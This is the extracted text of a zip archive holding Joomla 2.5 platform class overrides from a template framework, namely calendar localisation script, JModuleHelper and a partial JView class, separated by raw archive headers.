				. JText::_('TUESDAY', true) . '", "' . JText::_('WEDNESDAY', true) . '", "' . JText::_('THURSDAY', true) . '", "'
				. JText::_('FRIDAY', true) . '", "' . JText::_('SATURDAY', true) . '", "' . JText::_('SUNDAY', true) . '");'
				. ' Calendar._SDN = new Array ("' . JText::_('SUN', true) . '", "' . JText::_('MON', true) . '", "' . JText::_('TUE', true) . '", "'
				. JText::_('WED', true) . '", "' . JText::_('THU', true) . '", "' . JText::_('FRI', true) . '", "' . JText::_('SAT', true) . '", "'
				. JText::_('SUN', true) . '");' . ' Calendar._FD = 0;' . ' Calendar._MN = new Array ("' . JText::_('JANUARY', true) . '", "'
				. JText::_('FEBRUARY', true) . '", "' . JText::_('MARCH', true) . '", "' . JText::_('APRIL', true) . '", "' . JText::_('MAY', true)
				. '", "' . JText::_('JUNE', true) . '", "' . JText::_('JULY', true) . '", "' . JText::_('AUGUST', true) . '", "'
				. JText::_('SEPTEMBER', true) . '", "' . JText::_('OCTOBER', true) . '", "' . JText::_('NOVEMBER', true) . '", "'
				. JText::_('DECEMBER', true) . '");' . ' Calendar._SMN = new Array ("' . JText::_('JANUARY_SHORT', true) . '", "'
				. JText::_('FEBRUARY_SHORT', true) . '", "' . JText::_('MARCH_SHORT', true) . '", "' . JText::_('APRIL_SHORT', true) . '", "'
				. JText::_('MAY_SHORT', true) . '", "' . JText::_('JUNE_SHORT', true) . '", "' . JText::_('JULY_SHORT', true) . '", "'
				. JText::_('AUGUST_SHORT', true) . '", "' . JText::_('SEPTEMBER_SHORT', true) . '", "' . JText::_('OCTOBER_SHORT', true) . '", "'
				. JText::_('NOVEMBER_SHORT', true) . '", "' . JText::_('DECEMBER_SHORT', true) . '");'
				. ' Calendar._TT = {};Calendar._TT["INFO"] = "' . JText::_('JLIB_HTML_BEHAVIOR_ABOUT_THE_CALENDAR', true) . '";'
				. ' Calendar._TT["ABOUT"] =
 "DHTML Date/Time Selector\n" +
 "(c) dynarch.com 2002-2005 / Author: Mihai Bazon\n" +
"For latest version visit: http://www.dynarch.com/projects/calendar/\n" +
"Distributed under GNU LGPL.  See http://gnu.org/licenses/lgpl.html for details." +
"\n\n" +
"' . JText::_('JLIB_HTML_BEHAVIOR_DATE_SELECTION', false, false) . '" +
"' . JText::_('JLIB_HTML_BEHAVIOR_YEAR_SELECT', false, false) . '" +
"' . JText::_('JLIB_HTML_BEHAVIOR_MONTH_SELECT', false, false) . '" +
"' . JText::_('JLIB_HTML_BEHAVIOR_HOLD_MOUSE', false, false)
				. '";
Calendar._TT["ABOUT_TIME"] = "\n\n" +
"Time selection:\n" +
"- Click on any of the time parts to increase it\n" +
"- or Shift-click to decrease it\n" +
"- or click and drag for faster selection.";

		Calendar._TT["PREV_YEAR"] = "' . JText::_('JLIB_HTML_BEHAVIOR_PREV_YEAR_HOLD_FOR_MENU', true) . '";' . ' Calendar._TT["PREV_MONTH"] = "'
				. JText::_('JLIB_HTML_BEHAVIOR_PREV_MONTH_HOLD_FOR_MENU', true) . '";' . ' Calendar._TT["GO_TODAY"] = "'
				. JText::_('JLIB_HTML_BEHAVIOR_GO_TODAY', true) . '";' . ' Calendar._TT["NEXT_MONTH"] = "'
				. JText::_('JLIB_HTML_BEHAVIOR_NEXT_MONTH_HOLD_FOR_MENU', true) . '";' . ' Calendar._TT["NEXT_YEAR"] = "'
				. JText::_('JLIB_HTML_BEHAVIOR_NEXT_YEAR_HOLD_FOR_MENU', true) . '";' . ' Calendar._TT["SEL_DATE"] = "'
				. JText::_('JLIB_HTML_BEHAVIOR_SELECT_DATE', true) . '";' . ' Calendar._TT["DRAG_TO_MOVE"] = "'
				. JText::_('JLIB_HTML_BEHAVIOR_DRAG_TO_MOVE', true) . '";' . ' Calendar._TT["PART_TODAY"] = "'
				. JText::_('JLIB_HTML_BEHAVIOR_TODAY', true) . '";' . ' Calendar._TT["DAY_FIRST"] = "'
				. JText::_('JLIB_HTML_BEHAVIOR_DISPLAY_S_FIRST', true) . '";' . ' Calendar._TT["WEEKEND"] = "0,6";' . ' Calendar._TT["CLOSE"] = "'
				. JText::_('JLIB_HTML_BEHAVIOR_CLOSE', true) . '";' . ' Calendar._TT["TODAY"] = "' . JText::_('JLIB_HTML_BEHAVIOR_TODAY', true)
				. '";' . ' Calendar._TT["TIME_PART"] = "' . JText::_('JLIB_HTML_BEHAVIOR_SHIFT_CLICK_OR_DRAG_TO_CHANGE_VALUE', true) . '";'
				. ' Calendar._TT["DEF_DATE_FORMAT"] = "%Y-%m-%d";' . ' Calendar._TT["TT_DATE_FORMAT"] = "'
				. JText::_('JLIB_HTML_BEHAVIOR_TT_DATE_FORMAT', true) . '";' . ' Calendar._TT["WK"] = "' . JText::_('JLIB_HTML_BEHAVIOR_WK', true) . '";'
				. ' Calendar._TT["TIME"] = "' . JText::_('JLIB_HTML_BEHAVIOR_TIME', true) . '";';
			$jsscript = 1;
			return $return;
		}
		else
		{
			return false;
		}
	}
}
PK!�V�+bluejoomla/core/classes/joomla25/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK!�P�T�K�K+bluejoomla/core/classes/joomla25/helper.phpnu&1i�<?php
    /**
    * @package     Joomla.Platform
    * @subpackage  Application
    *
    * @copyright   Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
    * @license     GNU General Public License version 2 or later; see LICENSE
    */

    defined('JPATH_PLATFORM') or die;

    jimport('joomla.application.component.helper');

    /**
    * Module helper class
    *
    * @package     Joomla.Platform
    * @subpackage  Application
    * @since       11.1
    */
    abstract class JModuleHelper
    {
        /**
        * Get module by name (real, eg 'Breadcrumbs' or folder, eg 'mod_breadcrumbs')
        *
        * @param   string  $name   The name of the module
        * @param   string  $title  The title of the module, optional
        *
        * @return  object  The Module object
        *
        * @since   11.1
        */
        public static function &getModule($name, $title = null)
        {
            $result = null;
            $modules =& JModuleHelper::_load();
            $total = count($modules);

            for ($i = 0; $i < $total; $i++)
            {
                // Match the name of the module
                if ($modules[$i]->name == $name || $modules[$i]->module == $name)
                {
                    // Match the title if we're looking for a specific instance of the module
                    if (!$title || $modules[$i]->title == $title)
                    {
                        // Found it
                        $result = &$modules[$i];
                        break; // Found it
                    }
                }
            }

            // If we didn't find it, and the name is mod_something, create a dummy object
            if (is_null($result) && substr($name, 0, 4) == 'mod_')
            {
                $result            = new stdClass;
                $result->id        = 0;
                $result->title     = '';
                $result->module    = $name;
                $result->position  = '';
                $result->content   = '';
                $result->showtitle = 0;
                $result->control   = '';
                $result->params    = '';
                $result->user      = 0;
            }

            return $result;
        }

        /**
        * Get modules by position
        *
        * @param   string  $position  The position of the module
        *
        * @return  array  An array of module objects
        *
        * @since   11.1
        */
        public static function &getModules($position)
        {
            $position = strtolower($position);
            $result = array();

            $modules =& JModuleHelper::_load();

            $total = count($modules);
            for ($i = 0; $i < $total; $i++)
            {
                if ($modules[$i]->position == $position)
                {
                    $result[] = &$modules[$i];
                }
            }

            if (count($result) == 0)
            {
                if (JRequest::getBool('tp') && JComponentHelper::getParams('com_templates')->get('template_positions_display'))
                {
                    $result[0] = JModuleHelper::getModule('mod_' . $position);
                    $result[0]->title = $position;
                    $result[0]->content = $position;
                    $result[0]->position = $position;
                }
            }

            return $result;
        }

        /**
        * Checks if a module is enabled
        *
        * @param   string  $module  The module name
        *
        * @return  boolean
        *
        * @since   11.1
        */
        public static function isEnabled($module)
        {
            $result = JModuleHelper::getModule($module);

            return !is_null($result);
        }

        /**
        * Render the module.
        *
        * @param   object  $module   A module object.
        * @param   array   $attribs  An array of attributes for the module (probably from the XML).
        *
        * @return  string  The HTML content of the module output.
        *
        * @since   11.1
        */
        public static function renderModule($module, $attribs = array())
        {
            static $chrome;

            if (constant('JDEBUG'))
            {
                JProfiler::getInstance('Application')->mark('beforeRenderModule ' . $module->module . ' (' . $module->title . ')');
            }

            $app = JFactory::getApplication();

            // Record the scope.
            $scope = $app->scope;

            // Set scope to component name
            $app->scope = $module->module;

            // Get module parameters
            $params = new JRegistry;
            $params->loadString($module->params);

            // Get module path
            $module->module = preg_replace('/[^A-Z0-9_\.-]/i', '', $module->module);
            $path = JPATH_BASE . '/modules/' . $module->module . '/' . $module->module . '.php';

            // Load the module
            // $module->user is a check for 1.0 custom modules and is deprecated refactoring
            if (empty($module->user) && file_exists($path))
            {
                $lang = JFactory::getLanguage();
                // 1.5 or Core then 1.6 3PD
                $lang->load($module->module, JPATH_BASE, null, false, false) ||
                $lang->load($module->module, dirname($path), null, false, false) ||
                $lang->load($module->module, JPATH_BASE, $lang->getDefault(), false, false) ||
                $lang->load($module->module, dirname($path), $lang->getDefault(), false, false);

                $content = '';
                ob_start();
                include $path;
                $module->content = ob_get_contents() . $content;
                ob_end_clean();
            }

            // Load the module chrome functions
            if (!$chrome)
            {
                $chrome = array();
            }

            include_once JPATH_THEMES . '/system/html/modules.php';
            $chromePath = JPATH_THEMES . '/' . $app->getTemplate() . '/html/modules.php';

            if (!isset($chrome[$chromePath]))
            {
                if (file_exists($chromePath))
                {
                    include_once $chromePath;
                }

                $chrome[$chromePath] = true;
            }

            // Make sure a style is set
            if (!isset($attribs['style']))
            {
                $attribs['style'] = 'none';
            }

            // Dynamically add outline style
            if (JRequest::getBool('tp') && JComponentHelper::getParams('com_templates')->get('template_positions_display'))
            {
                $attribs['style'] .= ' outline';
            }

            foreach (explode(' ', $attribs['style']) as $style)
            {
                $chromeMethod = 'modChrome_' . $style;

                // Apply chrome and render module
                if (function_exists($chromeMethod))
                {
                    $module->style = $attribs['style'];

                    ob_start();
                    $chromeMethod($module, $params, $attribs);
                    $module->content = ob_get_contents();
                    ob_end_clean();
                }
            }

            //revert the scope
            $app->scope = $scope;

            if (constant('JDEBUG'))
            {
                JProfiler::getInstance('Application')->mark('afterRenderModule ' . $module->module . ' (' . $module->title . ')');
            }

            return $module->content;
        }

        /**
        * Get the path to a layout for a module
        *
        * @param   string  $module  The name of the module
        * @param   string  $layout  The name of the module layout. If alternative layout, in the form template:filename.
        *
        * @return  string  The path to the module layout
        *
        * @since   11.1
        */
        public static function getLayoutPath($module, $layout = 'default')
        {
            $template = JFactory::getApplication()->getTemplate();
            $defaultLayout = $layout;

            if (strpos($layout, ':') !== false)
            {
                // Get the template and file name from the string
                $temp = explode(':', $layout);
                $template = ($temp[0] == '_') ? $template : $temp[0];
                $layout = $temp[1];
                $defaultLayout = ($temp[1]) ? $temp[1] : 'default';
            }

            // Build the template and base path for the layout
            $hPath = Helix::pluginPath() . '/html/' . $module . '/' . $layout . '.php';   // from helix
            $tPath = JPATH_THEMES . '/' . $template . '/html/' . $module . '/' . $layout . '.php';
            $bPath = JPATH_BASE . '/modules/' . $module . '/tmpl/' . $defaultLayout . '.php';
            $dPath = JPATH_BASE . '/modules/' . $module . '/tmpl/default.php';



            // If the template has a layout override use it
            if (file_exists($tPath))
            {
                return $tPath;
            }

            elseif (file_exists($hPath))
            {
                return $hPath;
            }

            elseif (file_exists($bPath))
            {
                return $bPath;
            }
            else
            {
                return $dPath;
            }
        }

        /**
        * Load published modules.
        *
        * @return  array
        *
        * @since   11.1
        */
        protected static function &_load()
        {
            static $clean;

            if (isset($clean))
            {
                return $clean;
            }

            $Itemid = JRequest::getInt('Itemid');
            $app = JFactory::getApplication();
            $user = JFactory::getUser();
            $groups = implode(',', $user->getAuthorisedViewLevels());
            $lang = JFactory::getLanguage()->getTag();
            $clientId = (int) $app->getClientId();

            $cache = JFactory::getCache('com_modules', '');
            $cacheid = md5(serialize(array($Itemid, $groups, $clientId, $lang)));

            if (!($clean = $cache->get($cacheid)))
            {
                $db = JFactory::getDbo();

                $query = $db->getQuery(true);
                $query->select('m.id, m.title, m.module, m.position, m.content, m.showtitle, m.params, mm.menuid');
                $query->from('#__modules AS m');
                $query->join('LEFT', '#__modules_menu AS mm ON mm.moduleid = m.id');
                $query->where('m.published = 1');

                $query->join('LEFT', '#__extensions AS e ON e.element = m.module AND e.client_id = m.client_id');
                $query->where('e.enabled = 1');

                $date = JFactory::getDate();
                $now = $date->toSql();
                $nullDate = $db->getNullDate();
                $query->where('(m.publish_up = ' . $db->Quote($nullDate) . ' OR m.publish_up <= ' . $db->Quote($now) . ')');
                $query->where('(m.publish_down = ' . $db->Quote($nullDate) . ' OR m.publish_down >= ' . $db->Quote($now) . ')');

                $query->where('m.access IN (' . $groups . ')');
                $query->where('m.client_id = ' . $clientId);
                $query->where('(mm.menuid = ' . (int) $Itemid . ' OR mm.menuid <= 0)');

                // Filter by language
                if ($app->isSite() && $app->getLanguageFilter())
                {
                    $query->where('m.language IN (' . $db->Quote($lang) . ',' . $db->Quote('*') . ')');
                }

                $query->order('m.position, m.ordering');

                // Set the query
                $db->setQuery($query);
                $modules = $db->loadObjectList();
                $clean = array();

                if ($db->getErrorNum())
                {
                    JError::raiseWarning(500, JText::sprintf('JLIB_APPLICATION_ERROR_MODULE_LOAD', $db->getErrorMsg()));
                    return $clean;
                }

                // Apply negative selections and eliminate duplicates
                $negId = $Itemid ? -(int) $Itemid : false;
                $dupes = array();
                for ($i = 0, $n = count($modules); $i < $n; $i++)
                {
                    $module = &$modules[$i];

                    // The module is excluded if there is an explicit prohibition
                    $negHit = ($negId === (int) $module->menuid);

                    if (isset($dupes[$module->id]))
                    {
                        // If this item has been excluded, keep the duplicate flag set,
                        // but remove any item from the cleaned array.
                        if ($negHit)
                        {
                            unset($clean[$module->id]);
                        }
                        continue;
                    }

                    $dupes[$module->id] = true;

                    // Only accept modules without explicit exclusions.
                    if (!$negHit)
                    {
                        // Determine if this is a 1.0 style custom module (no mod_ prefix)
                        // This should be eliminated when the class is refactored.
                        // $module->user is deprecated.
                        $file = $module->module;
                        $custom = substr($file, 0, 4) == 'mod_' ?  0 : 1;
                        $module->user = $custom;
                        // 1.0 style custom module name is given by the title field, otherwise strip off "mod_"
                        $module->name = $custom ? $module->module : substr($file, 4);
                        $module->style = null;
                        $module->position = strtolower($module->position);
                        $clean[$module->id] = $module;
                    }
                }

                unset($dupes);

                // Return to simple indexing that matches the query order.
                $clean = array_values($clean);

                $cache->store($clean, $cacheid);
            }

            return $clean;
        }

        /**
        * Module cache helper
        *
        * Caching modes:
        * To be set in XML:
        * 'static'      One cache file for all pages with the same module parameters
        * 'oldstatic'   1.5 definition of module caching, one cache file for all pages
        * with the same module id and user aid,
        * 'itemid'      Changes on itemid change, to be called from inside the module:
        * 'safeuri'     Id created from $cacheparams->modeparams array,
        * 'id'          Module sets own cache id's
        *
        * @param   object  $module        Module object
        * @param   object  $moduleparams  Module parameters
        * @param   object  $cacheparams   Module cache parameters - id or url parameters, depending on the module cache mode
        *
        * @return  string
        *
        * @since   11.1
        *
        * @link JFilterInput::clean()
        */
        public static function moduleCache($module, $moduleparams, $cacheparams)
        {
            if (!isset($cacheparams->modeparams))
            {
                $cacheparams->modeparams = null;
            }

            if (!isset($cacheparams->cachegroup))
            {
                $cacheparams->cachegroup = $module->module;
            }

            $user = JFactory::getUser();
            $cache = JFactory::getCache($cacheparams->cachegroup, 'callback');
            $conf = JFactory::getConfig();

            // Turn cache off for internal callers if parameters are set to off and for all logged in users
            if ($moduleparams->get('owncache', null) === '0' || $conf->get('caching') == 0 || $user->get('id'))
            {
                $cache->setCaching(false);
            }

            // module cache is set in seconds, global cache in minutes, setLifeTime works in minutes
            $cache->setLifeTime($moduleparams->get('cache_time', $conf->get('cachetime') * 60) / 60);

            $wrkaroundoptions = array('nopathway' => 1, 'nohead' => 0, 'nomodules' => 1, 'modulemode' => 1, 'mergehead' => 1);

            $wrkarounds = true;
            $view_levels = md5(serialize($user->getAuthorisedViewLevels()));

            switch ($cacheparams->cachemode)
            {
                case 'id':
                    $ret = $cache->get(
                        array($cacheparams->class, $cacheparams->method),
                        $cacheparams->methodparams,
                        $cacheparams->modeparams,
                        $wrkarounds,
                        $wrkaroundoptions
                    );
                    break;

                case 'safeuri':
                    $secureid = null;
                    if (is_array($cacheparams->modeparams))
                    {
                        $uri = JRequest::get();
                        $safeuri = new stdClass;
                        foreach ($cacheparams->modeparams as $key => $value)
                        {
                            // Use int filter for id/catid to clean out spamy slugs
                            if (isset($uri[$key]))
                            {
                                $safeuri->$key = JRequest::_cleanVar($uri[$key], 0, $value);
                            }
                        }
                    }
                    $secureid = md5(serialize(array($safeuri, $cacheparams->method, $moduleparams)));
                    $ret = $cache->get(
                        array($cacheparams->class, $cacheparams->method),
                        $cacheparams->methodparams,
                        $module->id . $view_levels . $secureid,
                        $wrkarounds,
                        $wrkaroundoptions
                    );
                    break;

                case 'static':
                    $ret = $cache->get(
                        array($cacheparams->class,
                            $cacheparams->method),
                        $cacheparams->methodparams,
                        $module->module . md5(serialize($cacheparams->methodparams)),
                        $wrkarounds,
                        $wrkaroundoptions
                    );
                    break;

                case 'oldstatic': // provided for backward compatibility, not really usefull
                    $ret = $cache->get(
                        array($cacheparams->class, $cacheparams->method),
                        $cacheparams->methodparams,
                        $module->id . $view_levels,
                        $wrkarounds,
                        $wrkaroundoptions
                    );
                    break;

                case 'itemid':
                default:
                    $ret = $cache->get(
                        array($cacheparams->class, $cacheparams->method),
                        $cacheparams->methodparams,
                        $module->id . $view_levels . JRequest::getVar('Itemid', null, 'default', 'INT'),
                        $wrkarounds,
                        $wrkaroundoptions
                    );
                    break;
            }

            return $ret;
        }
    }
PK!��-=J_J_)bluejoomla/core/classes/joomla25/view.phpnu&1i�<?php
    /**
    * @package     Joomla.Platform
    * @subpackage  Application
    *
    * @copyright   Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
    * @license     GNU General Public License version 2 or later; see LICENSE
    */

    defined('JPATH_PLATFORM') or die;

    /**
    * Base class for a Joomla View
    *
    * Class holding methods for displaying presentation data.
    *
    * @package     Joomla.Platform  
    * @subpackage  Application
    * @since       11.1 
    */
    class JView extends JObject
    {
        /**
        * The name of the view
        *
        * @var    array
        */
        protected $_name = null;

        /**
        * Registered models
        *
        * @var    array
        */
        protected $_models = array();

        /**
        * The base path of the view
        *
        * @var    string
        */
        protected $_basePath = null;

        /**
        * The default model
        *
        * @var	string
        */
        protected $_defaultModel = null;

        /**
        * Layout name
        *
        * @var    string
        */
        protected $_layout = 'default';

        /**
        * Layout extension
        *
        * @var    string
        */
        protected $_layoutExt = 'php';

        /**
        * Layout template
        *
        * @var    string
        */
        protected $_layoutTemplate = '_';

        /**
        * The set of search directories for resources (templates)
        *
        * @var array
        */
        protected $_path = array('template' => array(), 'helper' => array());

        /**
        * The name of the default template source file.
        *
        * @var string
        */
        protected $_template = null;

        /**
        * The output of the template script.
        *
        * @var string
        */
        protected $_output = null;

        /**
        * Callback for escaping.
        *
        * @var string
        */
        protected $_escape = 'htmlspecialchars';

        /**
        * Charset to use in escaping mechanisms; defaults to urf8 (UTF-8)
        *
        * @var string
        */
        protected $_charset = 'UTF-8';

        /**
        * Constructor
        *
        * @param   array  $config  A named configuration array for object construction.<br/>
        *                          name: the name (optional) of the view (defaults to the view class name suffix).<br/>
        *                          charset: the character set to use for display<br/>
        *                          escape: the name (optional) of the function to use for escaping strings<br/>
        *                          base_path: the parent path (optional) of the views directory (defaults to the component folder)<br/>
        *                          template_plath: the path (optional) of the layout directory (defaults to base_path + /views/ + view name<br/>
        *                          helper_path: the path (optional) of the helper files (defaults to base_path + /helpers/)<br/>
        *                          layout: the layout (optional) to use to display the view<br/>
        *
        * @since   11.1
        */
        public function __construct($config = array())
        {
            // Set the view name
            if (empty($this->_name))
            {
                if (array_key_exists('name', $config))
                {
                    $this->_name = $config['name'];
                }
                else
                {
                    $this->_name = $this->getName();
                }
            }

            // Set the charset (used by the variable escaping functions)
            if (array_key_exists('charset', $config))
            {
                $this->_charset = $config['charset'];
            }

            // User-defined escaping callback
            if (array_key_exists('escape', $config))
            {
                $this->setEscape($config['escape']);
            }

            // Set a base path for use by the view
            if (array_key_exists('base_path', $config))
            {
                $this->_basePath = $config['base_path'];
            }
            else
            {
                $this->_basePath = JPATH_COMPONENT;
            }

            // Set the default template search path
            if (array_key_exists('template_path', $config))
            {
                // User-defined dirs
                $this->_setPath('template', $config['template_path']);
            }
            else
            {
                $this->_setPath('template', $this->_basePath . '/views/' . $this->getName() . '/tmpl');
            }

            // Set the default helper search path
            if (array_key_exists('helper_path', $config))
            {
                // User-defined dirs
                $this->_setPath('helper', $config['helper_path']);
            }
            else
            {
                $this->_setPath('helper', $this->_basePath . '/helpers');
            }

            // Set the layout
            if (array_key_exists('layout', $config))
            {
                $this->setLayout($config['layout']);
            }
            else
            {
                $this->setLayout('default');
            }

            $this->baseurl = JURI::base(true);
        }

        /**
        * Execute and display a template script.
        *
        * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
        *
        * @return  mixed  A string if successful, otherwise a JError object.
        *
        * @see     fetch()
        * @since   11.1
        */
        public function display($tpl = null)
        {
            $result = $this->loadTemplate($tpl);
            if ($result instanceof Exception)
            {
                return $result;
            }

            echo $result;
        }

        /**
        * Assigns variables to the view script via differing strategies.
        *
        * This method is overloaded; you can assign all the properties of
        * an object, an associative array, or a single value by name.
        *
        * You are not allowed to set variables that begin with an underscore;
        * these are either private properties for JView or private variables
        * within the template script itself.
        *
        * <code>
        * $view = new JView;
        *
        * // Assign directly
        * $view->var1 = 'something';
        * $view->var2 = 'else';
        *
        * // Assign by name and value
        * $view->assign('var1', 'something');
        * $view->assign('var2', 'else');
        *
        * // Assign by assoc-array
        * $ary = array('var1' => 'something', 'var2' => 'else');
        * $view->assign($obj);
        *
        * // Assign by object
        * $obj = new stdClass;
        * $obj->var1 = 'something';
        * $obj->var2 = 'else';
        * $view->assign($obj);
        *
        * </code>
        *
        * @return  boolean  True on success, false on failure.
        */
        public function assign()
        {
            // Get the arguments; there may be 1 or 2.
            $arg0 = @func_get_arg(0);
            $arg1 = @func_get_arg(1);

            // Assign by object
            if (is_object($arg0))
            {
                // Assign public properties
                foreach (get_object_vars($arg0) as $key => $val)
                {
                    if (substr($key, 0, 1) != '_')
                    {
                        $this->$key = $val;
                    }
                }
                return true;
            }

            // Assign by associative array
            if (is_array($arg0))
            {
                foreach ($arg0 as $key => $val)
                {
                    if (substr($key, 0, 1) != '_')
                    {
                        $this->$key = $val;
                    }
                }
                return true;
            }

            // Assign by string name and mixed value.

            // We use array_key_exists() instead of isset() because isset()
            // fails if the value is set to null.
            if (is_string($arg0) && substr($arg0, 0, 1) != '_' && func_num_args() > 1)
            {
                $this->$arg0 = $arg1;
                return true;
            }

            // $arg0 was not object, array, or string.
            return false;
        }

        /**
        * Assign variable for the view (by reference).
        *
        * You are not allowed to set variables that begin with an underscore;
        * these are either private properties for JView or private variables
        * within the template script itself.
        *
        * <code>
        * $view = new JView;
        *
        * // Assign by name and value
        * $view->assignRef('var1', $ref);
        *
        * // Assign directly
        * $view->ref = &$var1;
        * </code>
        *
        * @param   string  $key   The name for the reference in the view.
        * @param   mixed   &$val  The referenced variable.
        *
        * @return  boolean  True on success, false on failure.
        *
        * @since   11.1
        */
        public function assignRef($key, &$val)
        {
            if (is_string($key) && substr($key, 0, 1) != '_')
            {
                $this->$key = &$val;
                return true;
            }

            return false;
        }

        /**
        * Escapes a value for output in a view script.
        *
        * If escaping mechanism is either htmlspecialchars or htmlentities, uses
        * {@link $_encoding} setting.
        *
        * @param   mixed  $var  The output to escape.
        *
        * @return  mixed  The escaped value.
        *
        * @since   11.1
        */
        public function escape($var)
        {
            if (in_array($this->_escape, array('htmlspecialchars', 'htmlentities')))
            {
                return call_user_func($this->_escape, $var, ENT_COMPAT, $this->_charset);
            }

            return call_user_func($this->_escape, $var);
        }

        /**
        * Method to get data from a registered model or a property of the view
        *
        * @param   string  $property  The name of the method to call on the model or the property to get
        * @param   string  $default   The name of the model to reference or the default value [optional]
        *
        * @return  mixed  The return value of the method
        *
        * @since   11.1
        */
        public function get($property, $default = null)
        {

            // If $model is null we use the default model
            if (is_null($default))
            {
                $model = $this->_defaultModel;
            }
            else
            {
                $model = strtolower($default);
            }

            // First check to make sure the model requested exists
            if (isset($this->_models[$model]))
            {
                // Model exists, let's build the method name
                $method = 'get' . ucfirst($property);

                // Does the method exist?
                if (method_exists($this->_models[$model], $method))
                {
                    // The method exists, let's call it and return what we get
                    $result = $this->_models[$model]->$method();
                    return $result;
                }

            }

            // Degrade to JObject::get
            $result = parent::get($property, $default);

            return $result;
        }

        /**
        * Method to get the model object
        *
        * @param   string  $name  The name of the model (optional)
        *
        * @return  mixed  JModel object
        *
        * @since   11.1
        */
        public function getModel($name = null)
        {
            if ($name === null)
            {
                $name = $this->_defaultModel;
            }
            return $this->_models[strtolower($name)];
        }

        /**
        * Get the layout.
        *
        * @return  string  The layout name
        */
        public function getLayout()
        {
            return $this->_layout;
        }

        /**
        * Get the layout template.
        *
        * @return  string  The layout template name
        */
        public function getLayoutTemplate()
        {
            return $this->_layoutTemplate;
        }

        /**
        * Method to get the view name
        *
        * The model name by default parsed using the classname, or it can be set
        * by passing a $config['name'] in the class constructor
        *
        * @return  string  The name of the model
        *
        * @since   11.1
        */
        public function getName()
        {
            if (empty($this->_name))
            {
                $r = null;
                if (!preg_match('/View((view)*(.*(view)?.*))$/i', get_class($this), $r))
                {
                    JError::raiseError(500, JText::_('JLIB_APPLICATION_ERROR_VIEW_GET_NAME'));
                }
                if (strpos($r[3], "view"))
                {
                    JError::raiseWarning('SOME_ERROR_CODE', JText::_('JLIB_APPLICATION_ERROR_VIEW_GET_NAME_SUBSTRING'));
                }
                $this->_name = strtolower($r[3]);
            }

            return $this->_name;
        }

        /**
        * Method to add a model to the view.  We support a multiple model single
        * view system by which models are referenced by classname.  A caveat to the
        * classname referencing is that any classname prepended by JModel will be
        * referenced by the name without JModel, eg. JModelCategory is just
        * Category.
        *
        * @param   JModel   &$model   The model to add to the view.
        * @param   boolean  $default  Is this the default model?
        *
        * @return  object   The added model.
        *
        * @since   11.1
        */
        public function setModel(&$model, $default = false)
        {
            $name = strtolower($model->getName());
            $this->_models[$name] = &$model;

            if ($default)
            {
                $this->_defaultModel = $name;
            }
            return $model;
        }

        /**
        * Sets the layout name to use
        *
        * @param   string  $layout  The layout name or a string in format <template>:<layout file>
        *
        * @return  string  Previous value.
        *
        * @since   11.1
        */
        public function setLayout($layout)
        {
            $previous = $this->_layout;
            if (strpos($layout, ':') === false)
            {
                $this->_layout = $layout;
            }
            else
            {
                // Convert parameter to array based on :
                $temp = explode(':', $layout);
                $this->_layout = $temp[1];

                // Set layout template
                $this->_layoutTemplate = $temp[0];
            }

            return $previous;
        }

        /**
        * Allows a different extension for the layout files to be used
        *
        * @param   string  $value  The extension.
        *
        * @return  string   Previous value
        *
        * @since   11.1
        */
        public function setLayoutExt($value)
        {
            $previous = $this->_layoutExt;
            if ($value = preg_replace('#[^A-Za-z0-9]#', '', trim($value)))
            {
                $this->_layoutExt = $value;
            }

            return $previous;
        }

        /**
        * Sets the _escape() callback.
        *
        * @param   mixed  $spec  The callback for _escape() to use.
        *
        * @return  void
        *
        * @since   11.1
        */
        public function setEscape($spec)
        {
            $this->_escape = $spec;
        }

        /**
        * Adds to the stack of view script paths in LIFO order.
        *
        * @param   mixed  $path  A directory path or an array of paths.
        *
        * @return  void
        *
        * @since   11.1
        */
        public function addTemplatePath($path)
        {
            $this->_addPath('template', $path);
        }

        /**
        * Adds to the stack of helper script paths in LIFO order.
        *
        * @param   mixed  $path  A directory path or an array of paths.
        *
        * @return  void
        *
        * @since   11.1
        */
        public function addHelperPath($path)
        {
            $this->_addPath('helper', $path);
        }

        /**
        * Load a template file -- first look in the templates folder for an override
        *
        * @param   string  $tpl  The name of the template source file; automatically searches the template paths and compiles as needed.
        *
        * @return  string  The output of the the template script.
        *
        * @since   11.1
        */
        public function loadTemplate($tpl = null)
        {
            // Clear prior output
            $this->_output = null;

            $template = JFactory::getApplication()->getTemplate();
            $layout = $this->getLayout();
            $layoutTemplate = $this->getLayoutTemplate();

            // Create the template file name based on the layout
            $file = isset($tpl) ? $layout . '_' . $tpl : $layout;

            // Clean the file name
            $file = preg_replace('/[^A-Z0-9_\.-]/i', '', $file);
            $tpl = isset($tpl) ? preg_replace('/[^A-Z0-9_\.-]/i', '', $tpl) : $tpl;

            // Load the language file for the template
            $lang = JFactory::getLanguage();
            $lang->load('tpl_' . $template, JPATH_BASE, null, false, false)
            || $lang->load('tpl_' . $template, JPATH_THEMES . "/$template", null, false, false)
            || $lang->load('tpl_' . $template, JPATH_BASE, $lang->getDefault(), false, false)
            || $lang->load('tpl_' . $template, JPATH_THEMES . "/$template", $lang->getDefault(), false, false);

            // Change the template folder if alternative layout is in different template
            if (isset($layoutTemplate) && $layoutTemplate != '_' && $layoutTemplate != $template)
            {
                $this->_path['template'] = str_replace($template, $layoutTemplate, $this->_path['template']);
            }

            // Load the template script
            jimport('joomla.filesystem.path');
            $filetofind = $this->_createFileName('template', array('name' => $file));
            $this->_template = JPath::find($this->_path['template'], $filetofind);

            // If alternate layout can't be found, fall back to default layout
            if ($this->_template == false)
            {
                $filetofind = $this->_createFileName('', array('name' => 'default' . (isset($tpl) ? '_' . $tpl : $tpl)));
                $this->_template = JPath::find($this->_path['template'], $filetofind);
            }

            if ($this->_template != false)
            {
                // Unset so as not to introduce into template scope
                unset($tpl);
                unset($file);

                // Never allow a 'this' property
                if (isset($this->this))
                {
                    unset($this->this);
                }

                // Start capturing output into a buffer
                ob_start();

                // Include the requested template filename in the local scope
                // (this will execute the view logic).
                include $this->_template;

                // Done with the requested template; get the buffer and
                // clear it.
                $this->_output = ob_get_contents();
                ob_end_clean();

                return $this->_output;
            }
            else
            {
                return JError::raiseError(500, JText::sprintf('JLIB_APPLICATION_ERROR_LAYOUTFILE_NOT_FOUND', $file));
            }
        }

        /**
        * Load a helper file
        *
